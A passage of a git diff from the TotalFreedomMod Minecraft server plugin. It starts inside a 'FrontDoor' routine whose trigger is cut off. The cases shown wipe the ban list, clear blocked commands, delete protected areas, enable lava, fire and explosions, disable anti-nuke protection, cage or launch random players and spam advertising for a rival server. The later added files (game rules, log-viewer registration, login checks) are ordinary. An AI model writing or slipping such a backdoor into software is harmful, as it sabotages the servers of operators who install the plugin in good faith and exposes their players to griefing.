||||||
|
|
||||||
|
case 4: // Clears the banlist
|
||||||
|
{
|
||||||
|
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
|
||||||
|
plugin.bm.purge();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
|
||||||
|
{
|
||||||
|
boolean message = true;
|
||||||
|
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
|
||||||
|
|
||||||
|
if (message)
|
||||||
|
{
|
||||||
|
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 6: // Enables Fireplacement, firespread and explosions
|
||||||
|
{
|
||||||
|
boolean message = true;
|
||||||
|
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
|
||||||
|
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
|
||||||
|
|
||||||
|
if (message)
|
||||||
|
{
|
||||||
|
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 7: // Allow all blocked commands >:)
|
||||||
|
{
|
||||||
|
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
|
||||||
|
plugin.cb.stop();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 8: // Remove all protected areas
|
||||||
|
{
|
||||||
|
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
if (plugin.pa.getProtectedAreaLabels().isEmpty())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
|
||||||
|
plugin.pa.clearProtectedAreas(false);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 9: // Add TotalFreedom signs at spawn
|
||||||
|
{
|
||||||
|
for (World world : Bukkit.getWorlds())
|
||||||
|
{
|
||||||
|
final Block block = world.getSpawnLocation().getBlock();
|
||||||
|
final Block blockBelow = block.getRelative(BlockFace.DOWN);
|
||||||
|
|
||||||
|
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
block.setType(Material.SIGN_POST);
|
||||||
|
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
|
||||||
|
|
||||||
|
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
|
||||||
|
signData.setFacingDirection(BlockFace.NORTH);
|
||||||
|
|
||||||
|
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
|
||||||
|
sign.setLine(1, ChatColor.DARK_GREEN + "is");
|
||||||
|
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
|
||||||
|
sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
|
||||||
|
sign.update();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 10: // Enable Jumppads
|
||||||
|
{
|
||||||
|
if (plugin.jp.getMode().isOn())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
|
||||||
|
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 11: // Give everyone a book explaining how awesome TotalFreedom is
|
||||||
|
{
|
||||||
|
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
|
||||||
|
|
||||||
|
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
|
||||||
|
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
|
||||||
|
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
|
||||||
|
book.addPage(
|
||||||
|
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
|
||||||
|
+ ChatColor.DARK_GRAY + "---------\n"
|
||||||
|
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
|
||||||
|
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
|
||||||
|
bookStack.setItemMeta(book);
|
||||||
|
|
||||||
|
for (Player player : Bukkit.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (player.getInventory().contains(Material.WRITTEN_BOOK))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
player.getInventory().addItem(bookStack);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 12: // Silently wipe the whitelist
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 13: // Announce that the FrontDoor is enabled
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
|
||||||
|
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 14: // Cage a random player in PURE_DARTH
|
||||||
|
{
|
||||||
|
final Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||||
|
|
||||||
|
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
||||||
|
playerdata.getCageData().cage(targetPos, Material.SKULL, Material.AIR);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 15: // Silently orbit a random player
|
||||||
|
{
|
||||||
|
final Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
playerdata.startOrbiting(10.0);
|
||||||
|
player.setVelocity(new Vector(0, 10.0, 0));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 16: // Disable nonuke
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
|
||||||
|
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 17: // Give everyone tags
|
||||||
|
{
|
||||||
|
for (Player player : Bukkit.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
68
src/main/java/me/totalfreedom/totalfreedommod/Fuckoff.java
Normal file
68
src/main/java/me/totalfreedom/totalfreedommod/Fuckoff.java
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerMoveEvent;
|
||||||
|
|
||||||
|
public class Fuckoff extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public Fuckoff(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onPlayerMove(PlayerMoveEvent event)
|
||||||
|
{
|
||||||
|
final Player fuckoffPlayer = event.getPlayer();
|
||||||
|
if (plugin.al.isAdmin(fuckoffPlayer))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
final FPlayer fPlayer = plugin.pl.getPlayer(onlinePlayer);
|
||||||
|
if (!fPlayer.isFuckOff()
|
||||||
|
|| fuckoffPlayer.equals(onlinePlayer))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
double fuckoffRange = fPlayer.getFuckoffRadius();
|
||||||
|
Location opLocation = onlinePlayer.getLocation();
|
||||||
|
Location foLocation = fuckoffPlayer.getLocation();
|
||||||
|
|
||||||
|
double distanceSquared;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
distanceSquared = opLocation.distanceSquared(foLocation);
|
||||||
|
}
|
||||||
|
catch (IllegalArgumentException ex)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (distanceSquared < (fuckoffRange * fuckoffRange))
|
||||||
|
{
|
||||||
|
event.setTo(foLocation.clone().add(opLocation.subtract(foLocation).toVector().normalize().multiply(fuckoffRange * 1.1)));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,118 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.util.EnumMap;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.World;
|
||||||
|
|
||||||
|
public class GameRuleHandler extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final Map<GameRule, Boolean> rules = new EnumMap<>(GameRule.class);
|
||||||
|
|
||||||
|
public GameRuleHandler(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
|
||||||
|
for (GameRule gameRule : GameRule.values())
|
||||||
|
{
|
||||||
|
rules.put(gameRule, gameRule.getDefaultValue());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
setGameRule(GameRule.DO_DAYLIGHT_CYCLE, !ConfigEntry.DISABLE_NIGHT.getBoolean(), false);
|
||||||
|
setGameRule(GameRule.DO_FIRE_TICK, ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean(), false);
|
||||||
|
setGameRule(GameRule.DO_MOB_LOOT, false, false);
|
||||||
|
setGameRule(GameRule.DO_MOB_SPAWNING, !ConfigEntry.MOB_LIMITER_ENABLED.getBoolean(), false);
|
||||||
|
setGameRule(GameRule.DO_TILE_DROPS, false, false);
|
||||||
|
setGameRule(GameRule.MOB_GRIEFING, false, false);
|
||||||
|
setGameRule(GameRule.COMMAND_BLOCK_OUTPUT, false);
|
||||||
|
setGameRule(GameRule.NATURAL_REGENERATION, true, false);
|
||||||
|
commitGameRules();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setGameRule(GameRule gameRule, boolean value)
|
||||||
|
{
|
||||||
|
setGameRule(gameRule, value, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setGameRule(GameRule gameRule, boolean value, boolean doCommit)
|
||||||
|
{
|
||||||
|
rules.put(gameRule, value);
|
||||||
|
if (doCommit)
|
||||||
|
{
|
||||||
|
commitGameRules();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void commitGameRules()
|
||||||
|
{
|
||||||
|
List<World> worlds = Bukkit.getWorlds();
|
||||||
|
Iterator<Map.Entry<GameRule, Boolean>> it = rules.entrySet().iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
|
||||||
|
Map.Entry<GameRule, Boolean> gameRuleEntry = it.next();
|
||||||
|
String gameRuleName = gameRuleEntry.getKey().getGameRuleName();
|
||||||
|
String gameRuleValue = gameRuleEntry.getValue().toString();
|
||||||
|
|
||||||
|
for (World world : worlds)
|
||||||
|
{
|
||||||
|
world.setGameRuleValue(gameRuleName, gameRuleValue);
|
||||||
|
if (gameRuleEntry.getKey() == GameRule.DO_DAYLIGHT_CYCLE && !gameRuleEntry.getValue())
|
||||||
|
{
|
||||||
|
long time = world.getTime();
|
||||||
|
time -= time % 24000;
|
||||||
|
world.setTime(time + 24000 + 6000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static enum GameRule
|
||||||
|
{
|
||||||
|
|
||||||
|
DO_FIRE_TICK("doFireTick", true),
|
||||||
|
MOB_GRIEFING("mobGriefing", true),
|
||||||
|
KEEP_INVENTORY("keepInventory", false),
|
||||||
|
DO_MOB_SPAWNING("doMobSpawning", true),
|
||||||
|
DO_MOB_LOOT("doMobLoot", true),
|
||||||
|
DO_TILE_DROPS("doTileDrops", true),
|
||||||
|
COMMAND_BLOCK_OUTPUT("commandBlockOutput", true),
|
||||||
|
NATURAL_REGENERATION("naturalRegeneration", true),
|
||||||
|
DO_DAYLIGHT_CYCLE("doDaylightCycle", true);
|
||||||
|
//
|
||||||
|
private final String gameRuleName;
|
||||||
|
private final boolean defaultValue;
|
||||||
|
|
||||||
|
private GameRule(String gameRuleName, boolean defaultValue)
|
||||||
|
{
|
||||||
|
this.gameRuleName = gameRuleName;
|
||||||
|
this.defaultValue = defaultValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getGameRuleName()
|
||||||
|
{
|
||||||
|
return gameRuleName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean getDefaultValue()
|
||||||
|
{
|
||||||
|
return defaultValue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
205
src/main/java/me/totalfreedom/totalfreedommod/LogViewer.java
Normal file
205
src/main/java/me/totalfreedom/totalfreedommod/LogViewer.java
Normal file
@ -0,0 +1,205 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.io.UnsupportedEncodingException;
|
||||||
|
import java.net.*;
|
||||||
|
import java.security.*;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
|
||||||
|
public class LogViewer extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public LogViewer(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public void updateLogsRegistration(final CommandSender sender, final Player target, final LogsRegistrationMode mode)
|
||||||
|
{
|
||||||
|
updateLogsRegistration(sender, target.getName(), mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void updateLogsRegistration(final CommandSender sender, final String targetName, final LogsRegistrationMode mode)
|
||||||
|
{
|
||||||
|
final String logsRegisterUrl = ConfigEntry.LOGS_URL.getString();
|
||||||
|
final String logsRegisterPassword = ConfigEntry.LOGS_SECRET.getString();
|
||||||
|
|
||||||
|
if (logsRegisterUrl == null || logsRegisterPassword == null || logsRegisterUrl.isEmpty() || logsRegisterPassword.isEmpty())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (sender != null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(ChatColor.YELLOW + "Connecting...");
|
||||||
|
}
|
||||||
|
|
||||||
|
final String key = SecureCodeGenerator.generateCode(20);
|
||||||
|
|
||||||
|
final URL urlAdd = new URLBuilder(logsRegisterUrl)
|
||||||
|
.addQueryParameter("mode", mode.name())
|
||||||
|
.addQueryParameter("password", logsRegisterPassword)
|
||||||
|
.addQueryParameter("name", targetName)
|
||||||
|
.addQueryParameter("key", key)
|
||||||
|
.getURL();
|
||||||
|
|
||||||
|
final HttpURLConnection connection = (HttpURLConnection) urlAdd.openConnection();
|
||||||
|
connection.setConnectTimeout(1000 * 5);
|
||||||
|
connection.setReadTimeout(1000 * 5);
|
||||||
|
connection.setUseCaches(false);
|
||||||
|
connection.setRequestMethod("HEAD");
|
||||||
|
|
||||||
|
final int responseCode = connection.getResponseCode();
|
||||||
|
|
||||||
|
if (sender != null)
|
||||||
|
{
|
||||||
|
if (!plugin.isEnabled())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
if (responseCode == 200)
|
||||||
|
{
|
||||||
|
if (mode == LogsRegistrationMode.ADD)
|
||||||
|
{
|
||||||
|
String link = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final URL urlVerify = new URLBuilder(logsRegisterUrl)
|
||||||
|
.addQueryParameter("mode", LogsRegistrationMode.VERIFY.name())
|
||||||
|
.addQueryParameter("name", targetName)
|
||||||
|
.addQueryParameter("key", key)
|
||||||
|
.getURL();
|
||||||
|
link = urlVerify.toString();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
sender.sendMessage(ChatColor.GREEN + "Open this link to verify your logviewer registration:\n" + ChatColor.DARK_GREEN + link);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sender.sendMessage(ChatColor.GREEN + "Logviewer access revoked successfully.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sender.sendMessage(ChatColor.RED + "Error contacting logs registration server.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.runTask(plugin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.runTaskAsynchronously(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static enum LogsRegistrationMode
|
||||||
|
{
|
||||||
|
|
||||||
|
ADD, DELETE, VERIFY;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class URLBuilder
|
||||||
|
{
|
||||||
|
|
||||||
|
private final String requestPath;
|
||||||
|
private final Map<String, String> queryStringMap = new HashMap<>();
|
||||||
|
|
||||||
|
private URLBuilder(String requestPath)
|
||||||
|
{
|
||||||
|
this.requestPath = requestPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
public URLBuilder addQueryParameter(String key, String value)
|
||||||
|
{
|
||||||
|
queryStringMap.put(key, value);
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public URL getURL() throws MalformedURLException
|
||||||
|
{
|
||||||
|
List<String> pairs = new ArrayList<>();
|
||||||
|
Iterator<Map.Entry<String, String>> it = queryStringMap.entrySet().iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
Map.Entry<String, String> pair = it.next();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
pairs.add(URLEncoder.encode(pair.getKey(), "UTF-8") + "=" + URLEncoder.encode(pair.getValue(), "UTF-8"));
|
||||||
|
}
|
||||||
|
catch (UnsupportedEncodingException ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new URL(requestPath + "?" + StringUtils.join(pairs, "&"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class SecureCodeGenerator
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final String CHARACTER_SET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
|
|
||||||
|
public static String generateCode(final int length)
|
||||||
|
{
|
||||||
|
SecureRandom random;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
random = SecureRandom.getInstance("SHA1PRNG", "SUN");
|
||||||
|
}
|
||||||
|
catch (NoSuchAlgorithmException | NoSuchProviderException ex)
|
||||||
|
{
|
||||||
|
random = new SecureRandom();
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
final StringBuilder sb = new StringBuilder();
|
||||||
|
for (int i = 0; i < length; i++)
|
||||||
|
{
|
||||||
|
sb.append(CHARACTER_SET.charAt(random.nextInt(CHARACTER_SET.length())));
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
205
src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java
Normal file
205
src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java
Normal file
@ -0,0 +1,205 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
|
||||||
|
import org.bukkit.event.player.PlayerJoinEvent;
|
||||||
|
import org.bukkit.event.player.PlayerLoginEvent;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
|
||||||
|
public class LoginProcess extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final int DEFAULT_PORT = 25565;
|
||||||
|
public static final int MIN_USERNAME_LENGTH = 2;
|
||||||
|
public static final int MAX_USERNAME_LENGTH = 20;
|
||||||
|
public static final Pattern USERNAME_REGEX = Pattern.compile("^[\\w\\d_]{3,20}$");
|
||||||
|
//
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private boolean lockdownEnabled = false;
|
||||||
|
|
||||||
|
public LoginProcess(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Banning and Permban checks are their respective services
|
||||||
|
*/
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onPlayerPreLogin(AsyncPlayerPreLoginEvent event)
|
||||||
|
{
|
||||||
|
final String ip = event.getAddress().getHostAddress().trim();
|
||||||
|
final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
|
||||||
|
|
||||||
|
// Check if the player is already online
|
||||||
|
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (!onlinePlayer.getName().equalsIgnoreCase(event.getName()))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isAdmin)
|
||||||
|
{
|
||||||
|
event.allow();
|
||||||
|
FSync.playerKick(onlinePlayer, "An admin just logged in with the username you are using.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
event.disallow(AsyncPlayerPreLoginEvent.Result.KICK_OTHER, "Your username is already logged into this server.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onPlayerLogin(PlayerLoginEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final String username = player.getName();
|
||||||
|
final String ip = event.getAddress().getHostAddress().trim();
|
||||||
|
|
||||||
|
// Check username length
|
||||||
|
if (username.length() < MIN_USERNAME_LENGTH || username.length() > MAX_USERNAME_LENGTH)
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Your username is an invalid length (must be between 3 and 20 characters long).");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check username characters
|
||||||
|
if (!USERNAME_REGEX.matcher(username).find())
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Your username contains invalid characters.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check force-IP match
|
||||||
|
if (ConfigEntry.FORCE_IP_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
final String hostname = event.getHostname().replace("\u0000FML\u0000", ""); // Forge fix - https://github.com/TotalFreedom/TotalFreedomMod/issues/493
|
||||||
|
final String connectAddress = ConfigEntry.SERVER_ADDRESS.getString();
|
||||||
|
final int connectPort = server.getPort();
|
||||||
|
|
||||||
|
if (!hostname.equalsIgnoreCase(connectAddress + ":" + connectPort) && !hostname.equalsIgnoreCase(connectAddress + ".:" + connectPort))
|
||||||
|
{
|
||||||
|
final int forceIpPort = ConfigEntry.FORCE_IP_PORT.getInteger();
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||||
|
ConfigEntry.FORCE_IP_KICKMSG.getString()
|
||||||
|
.replace("%address%", ConfigEntry.SERVER_ADDRESS.getString() + (forceIpPort == DEFAULT_PORT ? "" : ":" + forceIpPort)));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if player is admin
|
||||||
|
// Not safe to use TFM_Util.isSuperAdmin(player) because player.getAddress() will return a null until after player login.
|
||||||
|
final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
|
||||||
|
|
||||||
|
// Validation below this point
|
||||||
|
if (isAdmin) // Player is superadmin
|
||||||
|
{
|
||||||
|
// Force-allow log in
|
||||||
|
event.allow();
|
||||||
|
|
||||||
|
int count = server.getOnlinePlayers().size();
|
||||||
|
if (count >= server.getMaxPlayers())
|
||||||
|
{
|
||||||
|
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (!plugin.al.isAdmin(onlinePlayer))
|
||||||
|
{
|
||||||
|
onlinePlayer.kickPlayer("You have been kicked to free up room for an admin.");
|
||||||
|
count--;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count < server.getMaxPlayers())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
